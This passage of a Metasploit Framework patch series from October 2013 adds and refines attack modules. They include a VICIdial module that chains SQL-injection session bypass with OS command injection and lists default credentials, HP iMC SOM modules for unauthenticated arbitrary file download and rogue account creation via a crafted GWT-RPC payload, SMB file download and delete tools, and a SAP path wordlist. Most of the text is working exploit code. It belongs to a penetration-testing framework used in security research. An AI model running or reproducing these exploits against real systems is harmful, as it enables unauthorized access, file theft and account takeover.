fd.close + + if datastore['LPATH'] + File.open("#{datastore['LPATH']}", 'w') {|f| f.write(lfile) } + print_status("The file has been downloaded to #{datastore['LPATH']}...") + else + rfilename = datastore['RPATH'].split("\\")[-1] + print_status(rfilename) + File.open(rfilename, 'w') {|f| f.write(lfile) } + print_status("LPATH not set, the file has been downloaded to #{rfilename}...") + end + end + +end From 7d1dc3746f662a1d43bc546f051dc6c4bebb5a1f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 22 Oct 2013 16:19:49 -0500 Subject: [PATCH 311/409] Use the @schierlm's command --- lib/msf/core/exploit/file_dropper.rb | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index 81382408c0..8ce6cf1a83 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -53,14 +53,12 @@ module Exploit::FileDropper ] # We need to be platform-independent here. Since we can't be # certain that {#target} is accurate because exploits with - # automatic targets frequently change it we just go ahead and - # run one unix command and one windows command. One of them - # will definitely fail and the other will probably succeed. - # Two commands are executed because the character separator is - # different on Windows and Unix ('&' vs ';') as we learned on - # https://dev.metasploit.com/redmine/issues/8510 - session.shell_command_token("rm -f \"#{file}\" >/dev/null") - session.shell_command_token(win_cmds.join(" & ")) + # automatic targets frequently change it, we just go ahead and + # run both a windows and a unixy command in the same line. One + # of them will definitely fail and the other will probably + # succeed. Doing it this way saves us an extra round-trip. + # Trick shared by @mihi42 + session.shell_command_token("rm -f \"#{file}\" >/dev/null ; echo ' & #{win_cmds.join(" & ")} & echo \" ' >/dev/null") print_good("Deleted #{file}") true end From 8f3228d191d54ff53256fb2a3520d7938e268b02 Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Tue, 22 Oct 2013 21:13:30 -0400 Subject: [PATCH 312/409] chage author but basic copied from hdms upload_file --- modules/auxiliary/admin/smb/delete_file.rb | 2 +- modules/auxiliary/admin/smb/download_file.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/smb/delete_file.rb b/modules/auxiliary/admin/smb/delete_file.rb index d1bdd83262..64aca62e46 100644 --- a/modules/auxiliary/admin/smb/delete_file.rb +++ b/modules/auxiliary/admin/smb/delete_file.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ - 'hdm' # metasploit module + 'mubix' # copied from hdm upload_file module ], 'References' => [ diff --git a/modules/auxiliary/admin/smb/download_file.rb b/modules/auxiliary/admin/smb/download_file.rb index 028baf010a..aae96df012 100644 --- a/modules/auxiliary/admin/smb/download_file.rb +++ b/modules/auxiliary/admin/smb/download_file.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ - 'hdm' # metasploit module + 'mubix' # copied from hdm upload_file module ], 'References' => [ From 7d84fa487e2cd1bcd50d6347cd48aed11c68f722 Mon Sep 17 00:00:00 2001 From: Booboule Date: Wed, 23 Oct 2013 11:44:44 +0200 Subject: [PATCH 313/409] Correct ZDI ref to match new scheme --- modules/exploits/windows/emc/replication_manager_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/emc/replication_manager_exec.rb b/modules/exploits/windows/emc/replication_manager_exec.rb index b4adab146d..98c2969b93 100644 --- a/modules/exploits/windows/emc/replication_manager_exec.rb +++ b/modules/exploits/windows/emc/replication_manager_exec.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '70853' ], [ 'BID', '46235' ], [ 'URL', 'http://www.securityfocus.com/archive/1/516260' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-061/' ] + [ 'ZDI', '11-061/' ] ], 'DisclosureDate' => 'Feb 07 2011', 'Platform' => 'win', From bea04cceeb3dd386192eee2908bdb0c236cb836c Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 23 Oct 2013 11:05:33 -0500 Subject: [PATCH 314/409] Remove the trailing slash from the ZDI ref --- modules/exploits/windows/emc/replication_manager_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/emc/replication_manager_exec.rb b/modules/exploits/windows/emc/replication_manager_exec.rb index 98c2969b93..0adce53985 100644 --- a/modules/exploits/windows/emc/replication_manager_exec.rb +++ b/modules/exploits/windows/emc/replication_manager_exec.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '70853' ], [ 'BID', '46235' ], [ 'URL', 'http://www.securityfocus.com/archive/1/516260' ], - [ 'ZDI', '11-061/' ] + [ 'ZDI', '11-061' ] ], 'DisclosureDate' => 'Feb 07 2011', 'Platform' => 'win', From 55e3f3658966a49bb826c345c575cad91ee0e71d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 23 Oct 2013 11:24:29 -0500 Subject: [PATCH 315/409] Add module for ZDI-13-242 --- .../scanner/http/hp_imc_som_file_download.rb | 98 +++++++++++++++++++ 1 file changed, 98 insertions(+) create mode 100644 modules/auxiliary/scanner/http/hp_imc_som_file_download.rb diff --git a/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb b/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb new file mode 100644 index 0000000000..489b243587 --- /dev/null +++ b/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb @@ -0,0 +1,98 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP Intelligent Management SOM FileDownloadServlet Arbitrary Download', + 'Description' => %q{ + This module exploits a lack of authentication and access control in HP Intelligent + Management, specifically in the FileDownloadServlet from the SOM component, in order to + retrieve arbitrary files with SYSTEM privileges. This module has been tested successfully + on HP Intelligent Management Center 5.2_E0401 with SOM 5.2 E0401 over Windows 2003 SP2. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'rgod ', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-4826' ], + [ 'OSVDB', '98251' ], + [ 'BID', '62898' ], + [ 'ZDI', '13-242' ] + ] + )) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']), + OptString.new('FILEPATH', [true, 'The path of the file to download', 'c:\\boot.ini']) + ], self.class) + end + + def is_imc_som? + res = send_request_cgi({ + 'uri' => normalize_uri("servicedesk", "ServiceDesk.jsp"), + 'method' => 'GET' + }) + + if res and res.code == 200 and res.body =~ /servicedesk\/servicedesk/i + return true + else + return false + end + end + + def my_basename(filename) + return ::File.basename(filename.gsub(/\\/, "/")) + end + + def run_host(ip) + + unless is_imc_som? + vprint_error("#{rhost}:#{rport} - HP iMC with the SOM component not found") + return + end + + vprint_status("#{rhost}:#{rport} - Sending request...") + res = send_request_cgi({ + 'uri' => normalize_uri("servicedesk", "servicedesk", "fileDownload"), + 'method' => 'GET', + 'vars_get' => + { + 'OperType' => '2', + 'fileName' => Rex::Text.encode_base64(my_basename(datastore['FILEPATH'])), + 'filePath' => Rex::Text.encode_base64(datastore['FILEPATH']) + } + }) + + if res and res.code == 200 and res.headers['Content-Type'] and res.headers['Content-Type'] =~ /application\/doc/ + contents = res.body + fname = my_basename(datastore['FILEPATH']) + path = store_loot( + 'hp.imc.somfiledownloadservlet', + 'application/octet-stream', + ip, + contents, + fname + ) + print_good("#{rhost}:#{rport} - File saved in: #{path}") + else + vprint_error("#{rhost}:#{rport} - Failed to retrieve file") + return + end + end +end From af02fd0355e479d7fc77edc3d633cdb9a2b58602 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 23 Oct 2013 12:13:05 -0500 Subject: [PATCH 316/409] Use store_loot, sorry mubix --- modules/auxiliary/admin/smb/download_file.rb | 17 +++++------------ 1 file changed, 5 insertions(+), 12 deletions(-) diff --git a/modules/auxiliary/admin/smb/download_file.rb b/modules/auxiliary/admin/smb/download_file.rb index aae96df012..9025d77f78 100644 --- a/modules/auxiliary/admin/smb/download_file.rb +++ b/modules/auxiliary/admin/smb/download_file.rb @@ -47,7 +47,6 @@ class Metasploit3 < Msf::Auxiliary end def run - print_status("Connecting to the server...") connect() smb_login() @@ -58,18 +57,12 @@ class Metasploit3 < Msf::Auxiliary print_status("Trying to download #{datastore['RPATH']}...") fd = simple.open("\\#{datastore['RPATH']}", 'ro') - lfile = fd.read + data = fd.read fd.close - - if datastore['LPATH'] - File.open("#{datastore['LPATH']}", 'w') {|f| f.write(lfile) } - print_status("The file has been downloaded to #{datastore['LPATH']}...") - else - rfilename = datastore['RPATH'].split("\\")[-1] - print_status(rfilename) - File.open(rfilename, 'w') {|f| f.write(lfile) } - print_status("LPATH not set, the file has been downloaded to #{rfilename}...") - end + + fname = datastore['RPATH'].split("\\")[-1] + path = store_loot("smb.shares.file", "application/octet-stream", rhost, data, fname) + print_good("#{fname} saved as: #{path}") end end From 83a4ac17e864c979d9262167bd8430c760aeec6e Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 23 Oct 2013 12:16:18 -0500 Subject: [PATCH 317/409] Make sure fd is closed to avoid a possible resource leak --- modules/auxiliary/admin/smb/download_file.rb | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/smb/download_file.rb b/modules/auxiliary/admin/smb/download_file.rb index 9025d77f78..e102496ad9 100644 --- a/modules/auxiliary/admin/smb/download_file.rb +++ b/modules/auxiliary/admin/smb/download_file.rb @@ -47,7 +47,8 @@ class Metasploit3 < Msf::Auxiliary end def run - print_status("Connecting to the server...") + + print_status("Connecting to the #{rhost}:#{rport}...") connect() smb_login() @@ -56,9 +57,13 @@ class Metasploit3 < Msf::Auxiliary print_status("Trying to download #{datastore['RPATH']}...") + data = '' fd = simple.open("\\#{datastore['RPATH']}", 'ro') - data = fd.read - fd.close + begin + data = fd.read + ensure + fd.close + end fname = datastore['RPATH'].split("\\")[-1] path = store_loot("smb.shares.file", "application/octet-stream", rhost, data, fname) From 05008426252658671b5646ab08f962996f566807 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 23 Oct 2013 12:22:49 -0500 Subject: [PATCH 318/409] Do some exception handling --- modules/auxiliary/admin/smb/download_file.rb | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/admin/smb/download_file.rb b/modules/auxiliary/admin/smb/download_file.rb index e102496ad9..9bee5f77fd 100644 --- a/modules/auxiliary/admin/smb/download_file.rb +++ b/modules/auxiliary/admin/smb/download_file.rb @@ -3,10 +3,8 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' - class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first @@ -40,14 +38,12 @@ class Metasploit3 < Msf::Auxiliary register_options([ OptString.new('SMBSHARE', [true, 'The name of a share on the RHOST', 'C$']), - OptString.new('RPATH', [true, 'The name of the remote file relative to the share']), - OptString.new('LPATH', [false, 'The path of the local file to upload']) + OptString.new('RPATH', [true, 'The name of the remote file relative to the share']) ], self.class) end - def run - + def smb_download print_status("Connecting to the #{rhost}:#{rport}...") connect() smb_login() @@ -70,4 +66,14 @@ class Metasploit3 < Msf::Auxiliary print_good("#{fname} saved as: #{path}") end + def run + begin + smb_download + rescue Rex::Proto::SMB::Exceptions::LoginError => e + print_error("Unable to login: #{e.message}") + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + print_error("Unable to download the file: #{e.message}") + end + end + end From 9a51dd5fc43d985c6b7f0acebc3301872d82b114 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 23 Oct 2013 12:28:25 -0500 Subject: [PATCH 319/409] Do exception handling and stuff --- modules/auxiliary/admin/smb/delete_file.rb | 21 ++++++++++++++------- 1 file changed, 14 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/admin/smb/delete_file.rb b/modules/auxiliary/admin/smb/delete_file.rb index 64aca62e46..49a180101f 100644 --- a/modules/auxiliary/admin/smb/delete_file.rb +++ b/modules/auxiliary/admin/smb/delete_file.rb @@ -3,10 +3,8 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' - class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first @@ -42,11 +40,9 @@ class Metasploit3 < Msf::Auxiliary OptString.new('SMBSHARE', [true, 'The name of a share on the RHOST', 'C$']), OptString.new('RPATH', [true, 'The name of the remote file relative to the share']) ], self.class) - end - def run - + def smb_delete_file print_status("Connecting to the server...") connect() smb_login() @@ -54,9 +50,20 @@ class Metasploit3 < Msf::Auxiliary print_status("Mounting the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...") self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") - print_status("Trying to delete #{datastore['RPATH']}...") - simple.delete("\\#{datastore['RPATH']}") + + # If there's no exception raised at this point, we assume the file has been removed. + print_status("File deleted: #{datastore['RPATH']}...") + end + + def run + begin + smb_delete_file + rescue Rex::Proto::SMB::Exceptions::LoginError => e + print_error("Unable to login: #{e.message}") + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + print_error("Cannot delete the file: #{e.message}") + end end end From 58a32ebb4592693cac4e59df06e7cd4f1a2fab70 Mon Sep 17 00:00:00 2001 From: AverageSecurityGuy Date: Wed, 23 Oct 2013 14:47:42 -0400 Subject: [PATCH 320/409] Initial commit. --- .../http/vicidial_manager_send_cmd_exec.rb | 124 ++++++++++++++++++ 1 file changed, 124 insertions(+) create mode 100755 modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb diff --git a/modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb b/modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb new file mode 100755 index 0000000000..6c4c16c57c --- /dev/null +++ b/modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb @@ -0,0 +1,124 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'VICIdial Manager Send OS Command Injection', + 'Description' => %q{ + The file agc/manager_send.php in the VICIdial web application uses + unsanitized user input as part of a command that is executed using the PHP + passthru() function. A valid username, password and session are needed to access + the injection point. Fortunately, VICIdial has two built-in accounts with default + passwords and the manager_send.php file has a SQL injection vulnerability that can + be used to bypass the session check as long as at least one session has been + created at some point in time. The results of the injected command are returned + as part of the response from the web server. + + Affected Versions: + 2.7RC1 + 2.7 + 2.8-403a + others likely + + Default Credentials: + VDCL donotedit + VDAD donotedit + }, + 'Author' => + [ + 'Adam Caudill ', # Vulnerability discovery + 'AverageSecurityGuy ' # Metasploit Module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://www.openwall.com/lists/oss-security/2013/10/23/10' ] + ], + 'DisclosureDate' => 'Oct 23 2013', + 'Privileged' => true, + 'Platform' => ['linux','unix'], + 'Payload' => + { + 'DisableNops' => true + }, + 'Targets' => + [ + [ 'CMD', + { + 'Arch' => ARCH_CMD, + 'Platform' => 'unix' + } + ], + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('USERNAME', [true, 'VICIdial Username', 'VDCL']), + OptString.new('PASSWORD', [true, 'VICIdial Password', 'donotedit']) + ], self.class) + end + + def request(cmd) + begin + res = send_request_cgi({ + 'uri' => '/agc/manager_send.php', + 'method' => 'GET', + 'vars_get' => { + "enable_sipsak_messages" => "1", + "allow_sipsak_messages" => "1", + "protocol" => "sip", + "ACTION" => "OriginateVDRelogin", + "session_name" => rand_text_alpha(12), # Random session name + "server_ip" => "' OR '1' = '1", # SQL Injection to validate the session + "extension" => ";#{cmd};", + "user" => datastore['USERNAME'], + "pass" => datastore['PASSWORD'] + } + }) + + if res.nil? or res.code == 404 + vprint_error("#{rhost}:#{rport} - No response or page not found.") + return nil + end + + if res.body =~ /Invalid Username\/Password/ + vprint_error("#{rhost}:#{rport} - Invalid Username or Password.") + return nil + end + + return res + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return nil + end + end + + def check + resp = request('ls -a .') + + vprint_line(resp.body) + if resp.body =~ /\.\n\.\.\n/m + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Detected + end + end + + def exploit + request("#{payload.encode}") + end + +end From e02bf0cce64c4fafa4656e7d980dc69aac11f9b4 Mon Sep 17 00:00:00 2001 From: h0ng10 Date: Wed, 23 Oct 2013 21:09:19 +0200 Subject: [PATCH 321/409] Added /AdapterFramework/version/version.jsp --- data/wordlists/sap_icm_paths.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/data/wordlists/sap_icm_paths.txt b/data/wordlists/sap_icm_paths.txt index 903a8a1843..efda5c1599 100755 --- a/data/wordlists/sap_icm_paths.txt +++ b/data/wordlists/sap_icm_paths.txt @@ -1,3 +1,4 @@ +/AdapterFramework/version/version.jsp /AdobeDocumentServices/Config /AdobeDocumentServices/Config?wsdl /AE/index.jsp @@ -331,4 +332,4 @@ /wsnavigator /wsnavigator/jsps/redirect.jsp /wsnavigator/jsps/sendrequest.jsp -/wsnavigator/jsps/test.jsp \ No newline at end of file +/wsnavigator/jsps/test.jsp From a834fec889a3fa7790e56fbdc2347c2fd28be1d5 Mon Sep 17 00:00:00 2001 From: h0ng10 Date: Wed, 23 Oct 2013 21:20:18 +0200 Subject: [PATCH 322/409] Added URL for PT-2013-13/SAP Note 1820894 --- data/wordlists/sap_icm_paths.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/data/wordlists/sap_icm_paths.txt b/data/wordlists/sap_icm_paths.txt index efda5c1599..a0853915b2 100755 --- a/data/wordlists/sap_icm_paths.txt +++ b/data/wordlists/sap_icm_paths.txt @@ -320,6 +320,7 @@ /webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui/uwl /webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui/uwldetail /webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui/uwldisplayhistory +/webdynpro/dispatcher/sap.com/tc~slm~ui_lup/LUP /webdynpro/dispatcher/sap.com/tc~wd~dispwda/servlet_jsp/webdynpro/welcome/root/Welcome.jsp /webdynpro/dispatcher/sap.com/tc~wd~tools /webdynpro/dispatcher/sap.com/tc~wd~tools/explorer From 9f84ced00e429f9cefaa1ffac714685b2a7e6c04 Mon Sep 17 00:00:00 2001 From: AverageSecurityGuy Date: Wed, 23 Oct 2013 16:13:25 -0400 Subject: [PATCH 323/409] Fixed boilerplate text. --- .../exploits/multi/http/vicidial_manager_send_cmd_exec.rb | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb b/modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb index 6c4c16c57c..46776b4fe1 100755 --- a/modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb +++ b/modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' From 655e09f0073e0ac41b05ff75d4af6dba952edcc1 Mon Sep 17 00:00:00 2001 From: AverageSecurityGuy Date: Wed, 23 Oct 2013 16:36:39 -0400 Subject: [PATCH 324/409] Fixed description to look better in info output. --- .../multi/http/vicidial_manager_send_cmd_exec.rb | 14 +++----------- 1 file changed, 3 insertions(+), 11 deletions(-) diff --git a/modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb b/modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb index 46776b4fe1..305a0d8562 100755 --- a/modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb +++ b/modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb @@ -21,17 +21,9 @@ class Metasploit3 < Msf::Exploit::Remote passwords and the manager_send.php file has a SQL injection vulnerability that can be used to bypass the session check as long as at least one session has been created at some point in time. The results of the injected command are returned - as part of the response from the web server. - - Affected Versions: - 2.7RC1 - 2.7 - 2.8-403a - others likely - - Default Credentials: - VDCL donotedit - VDAD donotedit + as part of the response from the web server. Affected versions include 2.7RC1, + 2.7, and 2.8-403a. Other versions are likely affected as well. The default + credentials used by Vicidial are VDCL/donotedit and VDAD/donotedit. }, 'Author' => [ From 69da39ad52a288661c435da5960bdc40cc9f7330 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 23 Oct 2013 16:01:01 -0500 Subject: [PATCH 325/409] Add module for ZDI-13-240 --- .../admin/hp/hp_imc_som_create_account.rb | 249 ++++++++++++++++++ 1 file changed, 249 insertions(+) create mode 100644 modules/auxiliary/admin/hp/hp_imc_som_create_account.rb diff --git a/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb b/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb new file mode 100644 index 0000000000..5319aa8d6f --- /dev/null +++ b/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb @@ -0,0 +1,249 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP Intelligent Management SOM Account Creation', + 'Description' => %q{ + This module exploits a lack of authentication and access control in HP Intelligent + Management, specifically in the AccountService RpcServiceServlet from the SOM component, + in order to create a SOM account with Account Management permissions. This module has + been tested successfully on HP Intelligent Management Center 5.2 E0401 and 5.1 E202 with + SOM 5.2 E0401 and SOM 5.1 E0201 over Windows 2003 SP2. + }, + 'References' => + [ + [ 'CVE', '2013-4824' ], + [ 'OSVDB', '98249' ], + [ 'BID', '62902' ], + [ 'ZDI', '13-240' ], + [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03943547' ] + ], + 'Author' => + [ + 'rgod ', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Oct 08 2013" + )) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('USERNAME', [true, 'Username for the new account', 'msf']), + OptString.new('PASSWORD', [true, 'Password for the new account', 'p4ssw0rd']) + ], self.class) + end + + def get_service_desk_strong_name + res = send_request_cgi({ + 'uri' => normalize_uri("servicedesk", "servicedesk", "servicedesk.nocache.js"), + 'method' => 'GET' + }) + + if res and res.code == 200 and res.body =~ /unflattenKeylistIntoAnswers\(\['default', 'safari'\], '([0-9A-Fa-f]+)'\);/ + return $1 + end + + return nil + end + + def get_account_service_strong_name(service_desk) + res = send_request_cgi({ + 'uri' => normalize_uri("servicedesk", "servicedesk", "#{service_desk}.cache.html"), + 'method' => 'GET' + }) + + if res and res.code == 200 and res.body =~ /'accountSerivce.gwtsvc', '([0-9A-Fa-f]+)', SERIALIZER_1/ + return $1 + end + + return nil + end + + def run + + print_status("#{peer} - Trying to find the service desk service strong name...") + service_desk = get_service_desk_strong_name + if service_desk.nil? + print_error("#{peer} - service desk service not found.") + return + end + print_good("#{peer} - service desk strong number found: #{service_desk}") + + print_status("#{peer} - Trying to find the AccountService strong name...") + account_service = get_account_service_strong_name(service_desk) + if account_service.nil? + print_error("#{peer} - AccountService service not found.") + return + end + print_good("#{peer} - AccountService strong number found: #{account_service}") + + header= "6|0|39" # version | unknown | string_table size + + # Used to parse the payload + string_table = [ + "http://localhost:8080/servicedesk/servicedesk/", # 1 servlet URL + "#{account_service}", # 2 AccountService strong name + "com.h3c.imc.eu.client.account.AccountService", # 3 GWT Service Class + "addAccount", # 4 GWT Service Method + "com.extjs.gxt.ui.client.data.BaseModelData/3541881726", # 5 BaseModelData Type + "com.extjs.gxt.ui.client.data.RpcMap/3441186752", # 6 RpcMap Type + "isAccount", # 7 isAccount Field + "java.lang.Boolean/476441737", # 8 Boolean Type + "ssName", # 9 ssName Field + "java.lang.String/2004016611", # 10 String Type + datastore["USERNAME"], # 11 ssName Value + "authType", # 12 authType Field + "java.lang.Integer/3438268394", # 13 Integer Type + "ssPassword", # 14 ssPassword Field + datastore["PASSWORD"], # 15 ssPassword value + "accountGroups", # 16 accountGroups Field + "java.util.ArrayList/3821976829", # 17 ArayList Type + "permissions", # 18 permissions Field + "iMC-SOM-SERVICEDESK", # 19 permissions Value + "iMC-SOM-SERVICEDESK.PROCTASK", # 20 permissions Value + "iMC-SOM-SERVICEDESK.ACCT", # 21 permissions Value + "iMC-SOM-SERVICEDESK.ACCT.VIEW", # 22 permissions Value + "iMC-SOM-SERVICEDESK.ACCT.ADD", # 23 permissions Value + "iMC-SOM-SERVICEDESK.ACCT.MOD", # 24 permissions Value + "iMC-SOM-SERVICEDESK.ACCT.DEL", # 25 permissions Value + "userName", # 26 userName Field + "certification", # 27 certification Field + "userGroupId", # 28 userGroupId Field + "java.lang.Long/4227064769", # 29 Long Type + "userGroupName", # 30 userGroupName Field + "Ungrouped", # 31 userGroupName Value + "userGroupDescription", # 32 userGroupDescription Field + "Ungrouped User.This record is generated by system, can not be deleted.", # 33 userGroupDescription Value + "address", # 34 address Field + "", # 35 address Value + "phone", # 36 phone Field + "email", # 37 email Field + "userAppendInfo", # 38 userAppendInfo Field + "java.util.HashMap/962170901" # 39 HashMap Type + ].join("|") + + payload = [ + "1", # servlet URL + "2", # strong name + "3", # GWT Service Class + "4", # GWT Service Method (addAccount) + "1", # number of method parameters (addAccount has 1 parameter) + "5", # parameter type (BaseModelData) + "5", # read BaseModelData + "1", # read 1 object into the BaseModelData + "6", # read RpcMap + "15", # read 15 objects into the RpcMap + "7", # RpcMap[0] => isAccount + "8", # isAccount Type (Boolean) + "1", # isAccount Value (true) + "9", # RpcMap[1] => ssName + "10", # ssName Type (String) + "11", # ssName Value + "12", # RpcMap[2] => authType + "13", # authType Type + "0", # authType Value (0 => password) + "14", # RpcMap[3] => ssPassword + "10", # ssPassword Type (String) + "15", # ssPassword Value + "16", # RpcMap[4] => accountGroups + "17", # accountGroups Type (ArrayList) + "0", # accountGroups size (0) + "18", # RpcMap[5] => permissions + "17", # permissions Type (ArrayList) + "7", # permissions size (7) + "10", # permissions[0] Type (String) + "19", # permissions[0] Value (iMC-SOM-SERVICEDESK) + "10", # permissions[1] Type (String) + "20", # permissions[1] Value (iMC-SOM-SERVICEDESK.PROCTASK) + "10", # permissions[2] Type (String) + "21", # permissions[2] Value (iMC-SOM-SERVICEDESK.ACCT) + "10", # permissions[3] Type (String) + "22", # permissions[3] Value (iMC-SOM-SERVICEDESK.ACCT.VIEW) + "10", # permissions[4] Type (String) + "23", # permissions[4] Value (iMC-SOM-SERVICEDESK.ACCT.ADD) + "10", # permissions[5] Type (String) + "24", # permissions[5] Value (iMC-SOM-SERVICEDESK.ACCT.MOD) + "10", # permissions[6] Type (String) + "25", # permissions[6] Value (iMC-SOM-SERVICEDESK.ACCT.DEL) + "26", # RpcMap[6] => username + "-4", # username Type - not provided + "27", # RpcMap[7] => certification + "-4", # certification Type - not provided + "28", # RpcMap[8] => userGroupId + "29", # userGroupId Type (Long) + "B", # userGroupId Value - not provided + "30", # RpcMap[9] => userGroupName + "10", # userGroupName Type (String) + "31", # userGroupName Value (Ungrouped) + "32", # RpcMap[10] => userGroupDescription + "10", # userGroupDescription Type (String) + "33", # userGroupDescription Value (Ungrouped User.This record is generated by system, can not be deleted.) + "34", # RpcMap[11] => address + "10", # address Type (String) + "35", # address Value ("") + "36", # RpcMap[12] => phone + "-19",# phone Type - not provided + "37", # RpcMap[13] => email + "-19",# email Type - not provided + "38", # RpcMap[14] => userAppendInfo + "39", # userAppendInfo Type (HashMap) + "0" # userAppendInfo HashMap size (0) + ].join("|") + + gwt_request = [header, string_table, payload].join("|") + gwt_request << "|" # end + + service_url = ssl ? "https://" : "http://" + service_url << "#{rhost}:#{rport}/servicedesk/servicedesk/" + + print_status("#{peer} - Trying to create account #{datastore["USERNAME"]}...") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri("servicedesk", "servicedesk", "accountSerivce.gwtsvc"), + 'ctype' => 'text/x-gwt-rpc; charset=UTF-8', + 'headers' => { + "X-GWT-Module-Base" => service_url, + "X-GWT-Permutation" => "#{service_desk}" + }, + 'data' => gwt_request + }) + + unless res and res.code == 200 + print_error("#{peer} - Unknown error while creating the user.") + return + end + + if res.body =~ /Username.*already exists/ + print_error("#{peer} - The user #{datastore["USERNAME"]} already exists.") + return + elsif res.body =~ /Account.*added successfully/ + login_url = ssl ? "https://" : "http://" + login_url << "#{rhost}:#{rport}/servicedesk/ServiceDesk.jsp" + + report_auth_info({ + :host => rhost, + :port => rport, + :user => datastore["USERNAME"], + :pass => datastore["PASSWORD"], + :type => "password", + :sname => (ssl ? "https" : "http"), + :proof => "#{login_url}\n#{res.body}" + }) + print_good("#{peer} - Account #{datastore["USERNAME"]}/#{datastore["PASSWORD"]} created successfully.") + print_status("#{peer} - Use it to log into #{login_url}") + end + end 